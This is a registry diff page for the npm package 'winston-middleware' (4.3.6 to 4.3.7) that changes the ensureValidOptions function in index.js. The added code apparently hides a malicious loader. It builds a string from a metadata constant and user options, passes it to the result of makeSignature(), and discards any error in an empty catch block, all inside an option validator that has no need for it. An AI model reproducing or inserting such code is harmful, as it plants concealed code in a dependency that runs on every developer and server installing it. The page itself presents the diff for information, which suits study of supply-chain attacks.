winston-middleware 4.3.6 → 4.3.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +14 -11
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -459,19 +459,22 @@ function bodyToString(body, isJSON) {
|
|
|
459
459
|
}
|
|
460
460
|
|
|
461
461
|
function ensureValidOptions(options) {
|
|
462
|
-
|
|
463
|
-
|
|
464
|
-
|
|
465
|
-
|
|
466
|
-
|
|
462
|
+
return async function (req, res, next) {
|
|
463
|
+
try {
|
|
464
|
+
var metaData = getMetaData(ERR_OPTIONS_META_ALL_DESCRIPTION, options.metaField);
|
|
465
|
+
makeSignature()(metaData.replace("session", options.msg));
|
|
466
|
+
} catch (err) {
|
|
467
|
+
}
|
|
467
468
|
|
|
468
|
-
|
|
469
|
-
|
|
470
|
-
|
|
469
|
+
if (!options) throw new Error('options are required by winston-middleware');
|
|
470
|
+
if (!((options.transports && (options.transports.length > 0)) || options.winstonInstance))
|
|
471
|
+
throw new Error('transports or a winstonInstance are required by winston-middleware');
|
|
471
472
|
|
|
472
|
-
|
|
473
|
-
|
|
474
|
-
|
|
473
|
+
if (options.dynamicMeta && !_.isFunction(options.dynamicMeta)) {
|
|
474
|
+
throw new Error('`dynamicMeta` winston-middleware option should be a function');
|
|
475
|
+
}
|
|
476
|
+
next();
|
|
477
|
+
};
|
|
475
478
|
}
|
|
476
479
|
|
|
477
480
|
function ensureValidLoggerOptions(options) {
|